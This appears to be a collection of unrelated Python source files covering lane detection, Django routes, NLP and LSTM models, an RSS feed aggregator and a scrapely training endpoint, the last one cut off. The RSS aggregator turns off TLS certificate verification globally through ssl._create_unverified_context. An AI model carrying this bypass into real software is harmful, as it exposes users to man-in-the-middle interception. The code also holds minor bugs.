+{"seq_id":"306789481","text":"#!/usr/bin/env python\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport timeit\nimport math\nimport cv2\n\nfrom scipy import interpolate\n\ndef grayscale(img):\n    \"\"\"Applies the Grayscale transform\n    This will return an image with only one color channel\n    but NOTE: to see the returned image as grayscale\n    (assuming your grayscaled image is called 'gray')\n    you should call plt.imshow(gray, cmap='gray')\"\"\"\n    return cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)\n    # Or use BGR2GRAY if you read an image with cv2.imread()\n    # return cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n\ndef gaussian_blur(img, kernel_size):\n    \"\"\"Applies a Gaussian Noise kernel\"\"\"\n    return cv2.GaussianBlur(img, (kernel_size, kernel_size), 0)\n\ndef canny(img, low_threshold, high_threshold):\n    \"\"\"Applies the Canny transform\"\"\"\n    return cv2.Canny(img, low_threshold, high_threshold)\n\ndef region_of_interest(img, vertices):\n    \"\"\"\n    Applies an image mask.\n\n    Only keeps the region of the image defined by the polygon\n    formed from `vertices`. The rest of the image is set to black.\n    \"\"\"\n    #defining a blank mask to start with\n    mask = np.zeros_like(img)\n\n    #defining a 3 channel or 1 channel color to fill the mask with depending on the input image\n    if len(img.shape) > 2:\n        channel_count = img.shape[2]  # i.e. 3 or 4 depending on your image\n        ignore_mask_color = (255,) * channel_count\n    else:\n        ignore_mask_color = 255\n\n    #filling pixels inside the polygon defined by \"vertices\" with the fill color\n    cv2.fillPoly(mask, vertices, ignore_mask_color)\n\n    #returning the image only where mask pixels are nonzero\n    masked_image = cv2.bitwise_and(img, mask)\n    return masked_image\n\ndef draw_lines(img, lines, color=[255, 0, 0], thickness=10):\n    \"\"\"\n    NOTE: this is the function you might want to use as a starting point once you want to\n    average/extrapolate the line segments you detect to map out the full\n    extent of the lane (going from the result shown in raw-lines-example.mp4\n    to that shown in P1_example.mp4).\n\n    Think about things like separating line segments by their\n    slope ((y2-y1)/(x2-x1)) to decide which segments are part of the left\n    line vs. the right line.  Then, you can average the position of each of\n    the lines and extrapolate to the top and bottom of the lane.\n\n    This function draws `lines` with `color` and `thickness`.\n    Lines are drawn on the image inplace (mutates the image).\n    If you want to make the lines semi-transparent, think about combining\n    this function with the weighted_img() function below\n    \"\"\"\n    for line in lines:\n        for x1,y1,x2,y2 in line:\n            cv2.line(img, (x1, y1), (x2, y2), color, thickness)\n\ndef hough_lines(img, rho, theta, threshold, min_line_len, max_line_gap):\n    \"\"\"\n    `img` should be the output of a Canny transform.\n\n    Returns an image with hough lines drawn.\n    \"\"\"\n    return cv2.HoughLinesP(img, rho, theta, threshold, np.array([]), minLineLength=min_line_len, maxLineGap=max_line_gap)\n\ndef weighted_img(img, initial_img, α=0.8, β=1., λ=0.):\n    \"\"\"\n    `img` is the output of the hough_lines(), An image with lines drawn on it.\n    Should be a blank image (all black) with lines drawn on it.\n\n    `initial_img` should be the image before any processing.\n\n    The result image is computed as follows:\n\n    initial_img * α + img * β + λ\n    NOTE: initial_img and img must be the same shape!\n    \"\"\"\n    return cv2.addWeighted(initial_img, α, img, β, λ)\n\ndef change_color(image, boundaries, color_to):\n    b_from = np.array(boundaries[0], np.uint8)\n    b_to = np.array(boundaries[1], np.uint8)\n    image_hsv = cv2.cvtColor(image, cv2.COLOR_BGR2HSV)\n    mask = cv2.inRange(image_hsv, b_from, b_to)\n    try:\n        result = image.copy()\n        result[np.where(mask==0)] = 0\n        result[np.where(mask!=0)] = color_to\n    except:\n        return image\n    return weighted_img(image, result)\n\ndef filter_by_slope(lines, left, min_slope, max_slope):\n    slopes = np.apply_along_axis(lambda r: (r[3] - r[1]) / (r[2] - r[0]), 2, lines)\n\n    if left:\n        slopes[slopes < -max_slope] = 0\n        slopes[slopes > -min_slope] = 0\n        lines = lines[np.where(slopes < 0)]\n    else:\n        slopes[slopes > max_slope] = 0\n        slopes[slopes < min_slope] = 0\n        lines = lines[np.where(slopes > 0)]\n\n    return lines\n\ndef extrapolate(lines, y_from, y_to, left):\n    if lines == None:\n        return np.array([[]])\n\n    lines_a = filter_by_slope(lines, left, .4, .8)\n    x = np.reshape(lines_a[:, [0, 2]], (1, len(lines_a) * 2))[0]\n    y = np.reshape(lines_a[:, [1, 3]], (1, len(lines_a) * 2))[0]\n\n    try:\n        A = np.vstack([x, np.ones(len(x))]).T\n        m, c = np.linalg.lstsq(A, y)[0]\n    except:\n        return np.array([[]])\n\n    def p(in_y):\n        return (in_y - c)/m\n\n    return np.array([[\n        [\n            math.ceil(p(y_from)),\n            y_from,\n            math.ceil(p(y_to)),\n            y_to\n        ]\n    ]])\n\n","sub_path":"standalone/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":4991,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"250726956","text":"from django.urls import path,include\nfrom . import views\n\nurlpatterns = [\n    path('add/',views.index,name='index'),\n    path('submit/expense/',views.submit_expense,name='submit_expense'),\n    path('submit/income/',views.submit_income,name='submit_income'),\n    path('',views.register,name='register'),\n    path('accounts/login/',views.login,name='login'),\n    path('accounts/logout/',views.logout,name='logout'),\n]\n","sub_path":"web/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":416,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"44019509","text":"def Ekok(S1 , S2):\n    i = 2\n    Ekok = 1\n    while True:\n        if S1 % i == 0 and S2 % i == 0:\n            Ekok *= i\n            S1 //= i\n            S2 //= i\n        elif S1 % i == 0 and S2 % i != 0:\n            Ekok *= i\n            S1 //= i\n        elif S1 % i != 0 and S2 % i == 0:\n            Ekok *= i\n            S2 //= i\n        else:\n            i+=1\n        if S1 == 1 and S2 == 1:\n            break\n    return Ekok\nS1 = int(input(\"Bir Sayı Giriniz: \"))\nS2 = int(input(\"Bir Sayı Giriniz: \"))\nprint(\"Ekok: \" , Ekok(S1 , S2))\n","sub_path":"Odev3/Odev3.py","file_name":"Odev3.py","file_ext":"py","file_size_in_byte":539,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"261262871","text":"from convokit import Corpus, CorpusObject, Transformer\nfrom typing import Callable, List\nfrom sklearn.feature_extraction.text import CountVectorizer as CV\n\nclass BoWTransformer(Transformer):\n    def __init__(self, obj_type: str, vectorizer=None, vector_name=\"bow_vector\",\n                 text_func: Callable[[CorpusObject], str] = lambda utt: utt.text,\n                 selector: Callable[[CorpusObject], bool] = lambda x: True):\n        if vectorizer is None:\n            print(\"Initializing default unigram CountVectorizer...\")\n            self.vectorizer = CV(decode_error='ignore', min_df=10, max_df=.5,\n                                 ngram_range=(1, 1), binary=False, max_features=15000)\n        else:\n            self.vectorizer = vectorizer\n\n        self.obj_type = obj_type\n        self.vector_name = vector_name\n        self.text_func = text_func\n        self.selector = selector\n\n    def fit(self, corpus: Corpus, y=None):\n        # collect texts for vectorization\n        docs = []\n        for obj in corpus.iter_objs(self.obj_type, self.selector):\n            docs.append(self.text_func(obj))\n\n        self.vectorizer.fit(docs)\n\n    def transform(self, corpus: Corpus) -> Corpus:\n        for obj in corpus.iter_objs(self.obj_type):\n            if self.selector(obj):\n                obj.meta[self.vector_name] = self.vectorizer.transform([self.text_func(obj)])\n            else:\n                obj.meta[self.vector_name] = None\n\n        return corpus\n\n    def get_vocabulary(self):\n        return self.vectorizer.get_feature_names()\n","sub_path":"convokit/bag_of_words/bow_transformer.py","file_name":"bow_transformer.py","file_ext":"py","file_size_in_byte":1549,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"126883424","text":"\nimport pickle\nimport numpy as np\nimport matplotlib.pyplot as pyplot\n\nimport tensorflow as tf\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import Dense, Dropout, LSTM, Flatten#, CuDNNLSTM\n\n# Load the dataset ...\n#  You will need to seperately download or generate this file\nXd = pickle.load( open( \"RML2016.10a_dict.pkl\", \"rb\" ), encoding='latin' )\nsnrs,mods = map(lambda j: sorted(list(set(map(lambda x: x[j], Xd.keys())))), [1,0])\nprint(mods)\nX = []\nlbl = []\nfor mod in mods:\n    for snr in snrs:\n        X.append(Xd[(mod,snr)])\n        for i in range(Xd[(mod,snr)].shape[0]):  lbl.append((mod,snr))\nX = np.vstack(X)\n\n# Partition the data\n#  into training and test sets of the form we can train/test on\n#  while keeping SNR and Mod labels handy for each\nnp.random.seed(2016)\nn_examples = X.shape[0]\nn_train = int(n_examples * 0.7)\ntrain_idx = np.random.choice(range(0,n_examples), size=n_train, replace=False)\ntest_idx = list(set(range(0,n_examples))-set(train_idx))\nX_train = X[train_idx]\nX_test =  X[test_idx]\n\ndef to_onehot(yy):\n    yy1 = np.zeros([len(yy), max(yy)+1])\n    yy1[np.arange(len(yy)),yy] = 1\n    return yy1\n\nY_train = to_onehot(list(map(lambda x: mods.index(lbl[x][0]), train_idx)))\nY_test = to_onehot(list(map(lambda x: mods.index(lbl[x][0]), test_idx)))\n\nin_shp = list(X_train.shape[1:])\n\nclasses = mods #The categories\n\n#Building the rnn model\nmodel = Sequential()\n\n#For Cpu\n# IF you are running with a GPU, try out the CuDNNLSTM layer type instead (don't pass an activation, tanh is required)\nmodel.add(LSTM(256, input_shape=(X_train.shape[1:]), activation='relu', return_sequences=True))\nmodel.add(Dropout(0.5))\n\nmodel.add(LSTM(80, activation='relu'))\nmodel.add(Dropout(0.5))\n\nmodel.add(Dense(256, activation='relu'))\nmodel.add(Dropout(0.5))\n\nmodel.add(Dense(len(classes), activation='softmax'))\n\nopt = tf.keras.optimizers.Adam(lr=0.001, decay=1e-6)\n\n# #For GPU\n# # IF you are running with a GPU, try out the CuDNNLSTM layer type instead (don't pass an activation, tanh is required)\n# model.add(CuDNNLSTM(256, input_shape=(X_train.shape[1:]), return_sequences=True))\n# model.add(Dropout(0.5))\n#\n# model.add(CuDNNLSTM(80))\n# model.add(Dropout(0.5))\n#\n# model.add(Dense(256, activation='relu'))\n# model.add(Dropout(0.5))\n#\n# model.add(Dense(len(classes), activation='softmax'))\n#\n# opt = tf.keras.optimizers.Adam(lr=0.001, decay=1e-6)\n\n# Compile model\nmodel.compile(\n    loss='categorical_crossentropy',\n    optimizer=\"adam\",\n    metrics=['accuracy'],\n)\nmodel.summary()\n#\nhistory = model.fit(X_train,\n          Y_train,\n          epochs=3,\n          validation_data=(X_test, Y_test))\n\n# plot train and validation loss\npyplot.plot(history.history['loss'])\npyplot.plot(history.history['val_loss'])\npyplot.title('model train vs validation loss')\npyplot.ylabel('loss')\npyplot.xlabel('epoch')\npyplot.legend(['train', 'validation'], loc='upper right')\npyplot.show()\n\n","sub_path":"RNN.py","file_name":"RNN.py","file_ext":"py","file_size_in_byte":2913,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"294175604","text":"from urllib.request import urlopen\nimport urllib.request\nfrom xml.etree import ElementTree\nimport xml.etree.ElementTree as ET\nimport json\nimport re\nimport os\nimport time\nimport ssl\nimport datetime\nfrom datetime import datetime\nfrom time import gmtime, strftime\nfrom xml.sax.saxutils import unescape\n\ndef date_convert_timezone(date_input):\n    date_split = re.split('\\s+', date_input)\n    week, day, month, year, time = date_split[0:5]\n    if year[0:3] != '201':\n        year = '2018'\n    time = time.split(':')\n    if len(time) == 2:\n        hour, minute = time[0:2]\n        second = '00'\n    else:\n        hour, minute, second = time[0:3]\n    pubdate_convert = week + ' ' + day + ' ' + month + ' ' + year + ' ' + hour + ':' + minute + ':' + second + ' ' + '+0000'\n    return pubdate_convert\n\ndef compareDate(t1,t2): #get earlier time\n    pubdate_exist_format = time.strptime(t1, '%a, %d %b %Y %H:%M:%S %z')\n    pubdate_newfound_format = time.strptime(t2, '%a, %d %b %Y %H:%M:%S %z')\n\n    if (pubdate_exist_format <= pubdate_newfound_format) == True: #if a new identical article is published later than 'exist', keep 'exist'.\n        result = 'keep old source'\n    else:\n        result = 'update original source'\n\n    return result\n\ndef rssfeed_generator(jsonfilename_for_converting, customize_feedname, feeds_link, rss_description):#translate json to XML for rss\n    with open(os.path.join('/var/www/html/',jsonfilename_for_converting), 'r') as f: #require vaiable: exsiting exist\n        existing20 = json.load(f)\n\n    rss_xml = ET.Element('rss', version=\"2.0\")\n    channel_xml = ET.SubElement(rss_xml, 'channel')\n\n    ET.SubElement(channel_xml, \"title\").text = customize_feedname\n    ET.SubElement(channel_xml, \"link\").text = feeds_link\n    ET.SubElement(channel_xml, \"description\").text = rss_description\n    ET.SubElement(channel_xml, \"lastBuildDate\").text = (strftime(\"%a, %d %b %Y %H:%M:%S +0000\", gmtime()))\n    for feeds in existing20:\n        item_xml = ET.SubElement(channel_xml, 'item')\n        ET.SubElement(item_xml, \"title\").text = '<![CDATA[ ' +feeds['title'] + ' ]]>'\n        ET.SubElement(item_xml, \"pubDate\").text = feeds['pubDate']\n        ET.SubElement(item_xml, \"link\").text = feeds['link']\n        ET.SubElement(item_xml, \"guid\", isPermaLink=\"false\").text = feeds['guid']\n        if feeds['description'] == None:\n            ET.SubElement(item_xml, \"description\").text = '<![CDATA[ ' ' ]]>'\n        else:\n            ET.SubElement(item_xml, \"description\").text = '<![CDATA[ ' + feeds['description'] + ' ]]>'\n            \n    rss_xml1= ElementTree.tostring(rss_xml, encoding='utf8', method='xml')\n    rss_xml2 = rss_xml1.decode()\n    rss_xml3 = unescape(rss_xml2)\n    return rss_xml3\n\ndef retrive_url(url):\n    url_request = urllib.request.Request(url, headers={\n        'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0'})\n    url_read = urlopen(url_request).read()\n    return url_read\n\nssl._create_default_https_context = ssl._create_unverified_context\n\nwhile True:\n    print('wait for 300s')\n    time.sleep(1)\n    sum_feeds = []\n    #newsfeed = []\n    script_list = []\n    #(1) collecting urls, putting them into script_list.\n    script_list = re.findall('(http.*?)\\\\\\n', (retrive_url('http://35.235.67.46/newsfeed_list.txt')).decode('utf-8'))\n    #(2) generate sum_feeds\n    for newsfeed_url in script_list:\n        try:# skip empty xml url\n            feeds_str = retrive_url(newsfeed_url)\n        except:pass\n        else:\n            try:\n                feeds_xml = ET.fromstring(feeds_str)\n            except BaseException: pass\n            else:\n                items = feeds_xml.findall('channel/item')\n                for item in items:\n                    json_sub = {}\n                    try:\n                        json_sub['title'] = item.find('title').text\n                    except AttributeError:\n                        json_sub['title'] = ' '\n                    try:\n                        date1 = item.find('pubDate').text\n                        json_sub['pubDate'] = date_convert_timezone(date1)\n                    except AttributeError:\n                        json_sub['pubDate'] = ' '\n                    try:\n                        json_sub['link'] = item.find('link').text\n                    except AttributeError:\n                        json_sub['link'] = ' '\n                    try:\n                        json_sub['guid'] = item.find('guid').text\n                    except AttributeError:\n                        json_sub['guid'] = ' '\n                    try:\n                        json_sub['description'] = item.find('description').text\n                    except AttributeError:\n                        json_sub['description'] = ' '\n                    sum_feeds.append(json_sub)\n\n    #(3) generate unduplicate feeds dictionary of list (dic)\n    if 'allfeeds.json' in os.listdir('/var/www/html/'):\n        with open(os.path.join('/var/www/html/','allfeeds.json'),'r') as f1:\n            dic = json.load(f1)\n    else:\n        dic = {}\n    for item in sum_feeds:\n        if item.get('title') not in dic.keys():\n            dic[item.get('title')]=item\n        else:\n            t1 = dic[item.get('title')].get('pubDate')  # existing item's pubDate\n            t2 = item.get('pubDate')  # new found item's pubDate\n            if compareDate(t1,t2) == 'keep old source':pass\n            elif compareDate(t1,t2) =='update original source':\n                dic[item.get('Title')]=item\n\n    with open(os.path.join('/var/www/html/','allfeeds.json'), 'w') as file2: # write and cover allfeeds.json with var: dic\n        json.dump(dic, file2, indent=2)\n\n    if 'target_feed.json' in os.listdir('/var/www/html/'):\n        with open(os.path.join('/var/www/html/','target_feed.json'),'r') as f:\n            existing = json.load(f)\n    else:\n        existing = []\n\n    try:\n        keywords = (retrive_url('http://35.235.67.46/keyword_list.txt')).decode('utf-8') #turn bytes into sting and delet 'b' from the begining.\n    except:pass\n    else:\n        if keywords.endswith('\\n') is True:\n            keywords = keywords[0:(len(keywords)-1)]\n        else:\n            pass\n\n        keywords_list = keywords.split('\\n')\n        for keyword2 in keywords_list:\n            keyword2_cap = keyword2.capitalize()\n            keyword2_allcap = keyword2.upper()\n            for key in dic.keys():\n                feed = dic[key]\n                if (keyword2 in feed['title']) or (keyword2_cap in feed['title']) or (keyword2_allcap in feed['title']) or\\\n                    (keyword2 in feed['link']) or (keyword2_cap in feed['link']) or (keyword2_allcap in feed['link']):\n                    if (feed['title'] in str(existing)):\n                        pass\n                    else:\n                        existing.append(feed)\n                        print('news found for keywords :')\n                        print(feed['title'])\n                        print('===================================')\n\n        existing = sorted(existing, key=lambda x: datetime.strptime(x['pubDate'], '%a, %d %b %Y %H:%M:%S %z'),reverse=True)\n\n    with open(os.path.join('/var/www/html/','target_feed.json'), 'w') as file3:\n        json.dump(existing, file3, indent=2)\n\n    with open(os.path.join('/var/www/html/','20_for_xml.json'), 'w') as file4:\n        json.dump(existing[0:20], file4, indent=2)\n\n    target_xml = rssfeed_generator('20_for_xml.json', 'News feed', 'feeds domain', ' ')\n    target_file = open(os.path.join('/var/www/html/','xml_newsfeed.xml'), 'w')\n    target_file.write(target_xml)\n    target_file.close()\n","sub_path":"feeds.py","file_name":"feeds.py","file_ext":"py","file_size_in_byte":7597,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"270899264","text":"\"\"\" Module converts a given time into second \"\"\"\nimport time\nimport logging\n\nlogging.basicConfig(level=logging.DEBUG, filename='sys.log')\n\ndef minutes_to_seconds( minutes: str ) -> int:\n    \"\"\"Converts minutes to seconds\"\"\"\n    logging.info('minutes_to_seconds calculated')\n    return int(minutes)*60\n\ndef hours_to_minutes( hours: str ) -> int:\n    \"\"\"Converts hours to minutes\"\"\"\n    logging.info('hours to minutes calculated')\n    return int(hours)*60\n\ndef hhmm_to_seconds( hhmm: str ) -> int:\n    \"\"\" Converts hours and minutes into seconds.\n\n    Uses HH:MM where HH is a string of a 2 digit integer representing the hours.\n    MM is a string of a 2 digit integer representing the minutes. This is taken and\n    then converted into seconds\n    \"\"\"\n    if len(hhmm.split(':')) != 2:\n        print('Incorrect format. Argument must be formatted as HH:MM')\n        return None\n    logging.info('hhmm_to_seconds calculated')\n    return minutes_to_seconds(hours_to_minutes(hhmm.split(':')[0])) + \\\n        minutes_to_seconds(hhmm.split(':')[1])\n\ndef hhmmss_to_seconds( hhmmss: str ) -> int:\n    \"\"\" Converts hours and minutes and seconds into seconds.\n\n    Uses HH:MM where HH is a string of a 2 digit integer representing the hours.\n    MM is a string of a 2 digit integer representing the minutes. SS is a string of a 2 digit\n    integer representing the second. This is taken and\n    then converted into seconds\n    \"\"\"\n    if len(hhmmss.split(':')) != 3:\n        print('Incorrect format. Argument must be formatted as HH:MM:SS')\n        return None\n    logging.info('hhmmss_to_seconds calculated')\n    return minutes_to_seconds(hours_to_minutes(hhmmss.split(':')[0])) + \\\n        minutes_to_seconds(hhmmss.split(':')[1]) + int(hhmmss.split(':')[2])\n\ndef current_time_hhmm() -> str:\n    \"\"\" Gives the current time in hours and minutes\n\n    Where hh represents the hours and mm represents the minutes\n    \"\"\"\n    logging.info('Current time calculated')\n    return str(time.gmtime().tm_hour) + \":\" + str(time.gmtime().tm_min)\n\nif __name__ == '__main__':\n    assert isinstance(minutes_to_seconds(10), int)\n    assert minutes_to_seconds(10) == 600\n    assert isinstance(hours_to_minutes(5), int)\n    assert hours_to_minutes(5) == 300\n    assert isinstance(hhmm_to_seconds('10:30'), int)\n    assert (hhmm_to_seconds('10:30')) == 37800\n    assert isinstance(hhmmss_to_seconds('10:30:30'), int)\n    assert hhmmss_to_seconds('10:30:30') == 37830\n    assert isinstance(current_time_hhmm(), str)\n","sub_path":"time_conversions.py","file_name":"time_conversions.py","file_ext":"py","file_size_in_byte":2486,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"269338309","text":"#! /usr/bin/local/python\n# -*- coding: utf-8 -*-\n\nimport re\nimport logging\nfrom collections import OrderedDict\n\n__author__ = \"Ryan Abo\"\n__copyright__ = \"Copyright 2015, Ryan Abo\"\n__email__ = \"ryanabo@gmail.com\"\n__license__ = \"MIT\"\n\n\nclass Kmer:\n    \"\"\"Class to track value associated with a particular kmer sequence.\n    Attributes:\n\n    \"\"\"\n    def __init__(self, seq, counts, kmerSeqSet, kmerLen):\n        self.seq = seq\n        self.counts = counts\n        self.kmerSeqSet = kmerSeqSet\n        self.kmerLen = kmerLen\n\n\ndef find_reads(kmerSeq, readItems, usedReads, order='for'):\n    \"\"\"Return a list of tuples containing information from reads with the kmer sequence.\n    First search all the read sequences for the given kmer sequence. Then,\n    filter out used reads and order them according to position of the kmer\n    sequence in the read sequence.\n    Args:\n        kmerSeq: String of kmer sequence.\n        readItems: List of fq_recs (key, value) tuples.\n        usedReads: Set of read IDs that have been previously used.\n        order: String indicating how the list of the identified reads\n               should be ordered.\n    Return:\n        kmerReads: List of tuples containing:\n                    1. read object,\n                    2. start position of kmer match in read seq\n                    3. Boolean that a match was found.\n                    4. Length of the read sequence.\n                    5. Number of reads with this sequence.\n    \"\"\"\n    kmerReads = []\n    # Filter all the reads not containing the kmerSeq\n    mappedReads = filter(lambda x: x[2], map(read_search, [kmerSeq] * len(readItems), readItems))\n    # Extract the read ids of the reads containing kmerSeq\n    mappedReadIds = map(lambda x: x[0].id, mappedReads)\n    filterIds = set(mappedReadIds) - set(usedReads)\n    matchedReads = filter(lambda x: (x[0].id in filterIds), mappedReads)\n    if order == 'rev':\n        kmerReads = sorted(matchedReads, key=lambda z: (-z[1], -z[3]))\n    else:\n        kmerReads = sorted(matchedReads, key=lambda z: (z[1], -z[3]))\n    return kmerReads\n\n\ndef read_search(kmerSeq, readItems):\n    \"\"\"Return a tuple containing information regarding the alignment of the kmerSeq\n    in a sequence read.\n    This uses regex searching function re.search to determine if the kmerSeq\n    is contained in the read sequence. If so, then it returns a 5 element\n    tuple about information regarding this alignment. If no match, then return\n    a 3 element tuple with None values.\n    Args:\n        kmerSeq: String of kmer sequence.\n        readItems: List of fq_recs (key, value) tuples.\n    Return:\n        searchResult: Tuple of result information.\n                       1. read object,\n                       2. start position of kmer match in read seq\n                       3. Boolean that a match was found.\n                       4. Length of the read sequence.\n                       5. Number of reads with this sequence.\n    \"\"\"\n    searchResult = (None, None, None)\n    seq, reads = readItems\n    x = re.search(kmerSeq, seq)\n    if x:\n        searchResult = (reads[0], x.start(), True, len(reads[0].seq), len(reads))\n    return searchResult\n","sub_path":"breakmer/assembly/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3163,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"75771914","text":"from scrapely import Scraper\nfrom twisted.web.resource import Resource\nfrom .resource import SlydJsonResource\nfrom scrapy import log\nimport errno\nimport os\nimport json\n\nMERCHANT_SETTING_BASE = \"\"\"\n# Automatically created by: slyd\n# -*- coding: utf-8 -*-\n\nfrom scrapy.contrib.spiders import Rule\nfrom scrapy.linkextractors.lxmlhtml import LxmlLinkExtractor\n\nLOG_FILE = '/var/kipp/logs/{merchant_name}.log'\nCOUNTRY_CODE = \"{country_code}\"\nCURRENCY_CODE = \"{currency_code}\"\nUSE_SCRAPELY = True\nSTART_URLS = {start_urls}\nALLOWED_DOMAINS = {allowed_domains}\nMERCHANT_URLS_CONFIG = [{{\"url\": \"{merchant_url}\", 'cookie_config': {general_cookie} }}]\nRULES = [Rule(LxmlLinkExtractor(allow={allow_regex},\n                                deny={deny_regex}),\n              callback='parse_item', follow=True)]\nLOCAL_IMAGES = {local_images}\nRENDER_JS = {render_js}\nlocalization_config = {{\n    'english': {{\n        'url': \"{english_url}\",\n        'cookie_config': {english_language_cookie},\n        'url_args': {english_url_args}\n    }},\n    'arabic': {{\n        'url': \"{arabic_url}\",\n        'cookie_config': {arabic_language_cookie},\n        'url_args': {arabic_url_args}\n    }}\n}}\n\"\"\"\n\nSCRAPELY_TEMPLATES_DIR = '/var/kipp/scrapely_templates'\nKIPP_MERCHANT_SETTINGS_DIR = '/apps/kipp/kipp/kipp_base/kipp_settings/{country_code}'\nif not os.path.exists(SCRAPELY_TEMPLATES_DIR):\n    os.makedirs(SCRAPELY_TEMPLATES_DIR)\n\n\ndef create_scrapelyd_resource(spec_manager):\n    scrapelyd = SlydScrapely(spec_manager.settings, spec_manager)\n    scrapelyd.putChild('train', Train(scrapelyd))\n    return scrapelyd\n\n\nclass SlydScrapely(Resource):\n\n    def __init__(self, settings, spec_manager):\n        Resource.__init__(self)\n        self.scraper = Scraper()\n        self.spec_manager = spec_manager\n        log.msg(\"scrapely initialized\", level=log.DEBUG)\n\n\nclass ScrapelyResource(SlydJsonResource):\n    def __init__(self, scrapelyd):\n        Resource.__init__(self)\n        self.scrapelyd = scrapelyd\n\n\nclass Train(ScrapelyResource):\n    isLeaf = True\n\n    def render_POST(self, request):\n        \"\"\"\n        define endpoint for scrapely/train API. Create the spider and generate scrapely template\n        :param request:\n        :return: template names used in training scrapely\n        \"\"\"\n        params = self.read_json(request)\n        spider_name = params.get('spider')\n        spider_spec = self._create_spider(request.project, request.auth_info, spider_name)\n        self._create_kipp_setting(spider_name, spider_spec)\n        templates = spider_spec['templates']\n        template_names = self._get_templates_name(templates)\n        log.msg('Start generating scrapely templates for %s Spider' % params.get('spider'))\n        scrapely_templates = self._generate_scrapely_templates(templates)\n        log.msg('Scrapely templates generated from templates %s' % str(template_names))\n\n        scrapely_file_name = \"%s.json\" % spider_name\n        scrapely_file_path = os.path.join(SCRAPELY_TEMPLATES_DIR, scrapely_file_name)\n        if os.path.exists(scrapely_file_path):\n            os.remove(scrapely_file_path)\n\n        with open(scrapely_file_path, \"w\") as outfile:\n            json.dump({\"templates\": scrapely_templates}, outfile)\n\n        log.msg('Scraper instance is saved at %s' % SCRAPELY_TEMPLATES_DIR)\n        return json.dumps({\"template_names\": template_names})\n\n    def _generate_scrapely_templates(self, templates):\n        \"\"\"\n        Combine all templates in a list and add headers\n        :param templates:\n        :return: scrapely_templates: a list of all templates for this spider\n        \"\"\"\n        scrapely_templates = []\n        for template in templates:\n            scrapely_template = dict()\n            scrapely_template['url'] = template['url']\n            scrapely_template['headers'] = template.get('headers', {})\n            scrapely_template['encoding'] = template.get('encoding', 'utf-8')\n            scrapely_template['body'] = template.get('annotated_body', '')\n            scrapely_template['page_id'] = template.get('page_id', '')\n            scrapely_templates.append(scrapely_template.copy())\n        return scrapely_templates\n\n    def _get_templates_name(self, templates):\n        \"\"\"\n        get the templates and return the template names\n        :param templates:\n        :return: template_names: template names of templates\n        \"\"\"\n        template_names = [template['name'] for template in templates]\n        return template_names\n\n    def _create_spider(self, project, auth_info, spider_name, **kwargs):\n        \"\"\"\n        create the spider from the spec manager\n        :param project:\n        :param auth_info:\n        :param spider_name:\n        :param kwargs:\n        :return:\n        \"\"\"\n        if spider_name is None:\n            return None\n        pspec = self.scrapelyd.spec_manager.project_spec(project, auth_info)\n        try:\n            spider_spec = pspec.spider_with_templates(spider_name)\n            return spider_spec\n        except IOError as ex:\n            if ex.errno == errno.ENOENT:\n                log.msg(\"skipping extraction, no spec: %s\" % ex.filename)\n                return None\n            else:\n                raise\n\n    def _create_kipp_setting(self, merchant_name, spider_spec):\n        \"\"\"\n        preprocess spider specs and call _create_setting_file function\n        :param merchant_name:\n        :param country:\n        :param spider_spec:\n        :return:\n        \"\"\"\n        country_code = spider_spec['country_code']\n        kipp_country_setting_dir = KIPP_MERCHANT_SETTINGS_DIR.format(country_code=country_code)\n        if not os.path.exists(kipp_country_setting_dir):\n          os.makedirs(kipp_country_setting_dir)\n        merchant_file_path = kipp_country_setting_dir + '/' + merchant_name + '.py'\n        country_code = spider_spec['country_code']\n        currency_code = spider_spec['currency_code']\n        start_urls = spider_spec['start_urls']\n        merchant_url = spider_spec['start_urls'][0]\n        allow_regex = spider_spec['follow_patterns']\n        allowed_domains = start_urls[0].split(\"//\")[-1].split(\"/\")[0].replace(\"www.\",\"\")\n        allowed_domains = [allowed_domains]\n        deny_regex = spider_spec['exclude_patterns']\n        english_url = spider_spec['english_url']\n        arabic_url = spider_spec['arabic_url']\n        english_url_args = spider_spec['english_url_args']\n        arabic_url_args = spider_spec['arabic_url_args']\n        english_cookie_name = spider_spec['english_cookie_name']\n        english_cookie_value = spider_spec['english_cookie_value']\n        arabic_cookie_name = spider_spec['arabic_cookie_name']\n        arabic_cookie_value = spider_spec['arabic_cookie_value']\n        use_language_cookies = spider_spec['cookies_enabled']\n        use_currency_cookies = spider_spec['use_currency_cookies']\n        currency_cookie_name = spider_spec['currency_cookie_name']\n        currency_cookie_value = spider_spec['currency_cookie_value']\n        local_images = spider_spec['local_images']\n        render_js = spider_spec['js_enabled']\n        self._create_setting_file(merchant_file_path, merchant_name=merchant_name, country_code=country_code,\n                                  start_urls=start_urls, allowed_domains=allowed_domains, merchant_url=merchant_url,\n                                  allow_regex=allow_regex, deny_regex=deny_regex, currency_code=currency_code,\n                                  english_url=english_url, arabic_url=arabic_url, english_url_args=english_url_args,\n                                  arabic_url_args= arabic_url_args, english_cookie_name=english_cookie_name,\n                                  english_cookie_value=english_cookie_value, arabic_cookie_name=arabic_cookie_name,\n                                  arabic_cookie_value=arabic_cookie_value, use_language_cookies=use_language_cookies,\n                                  use_currency_cookies=use_currency_cookies, currency_cookie_name=currency_cookie_name,\n                                  currency_cookie_value=currency_cookie_value, local_images=local_images, render_js=render_js)\n\n 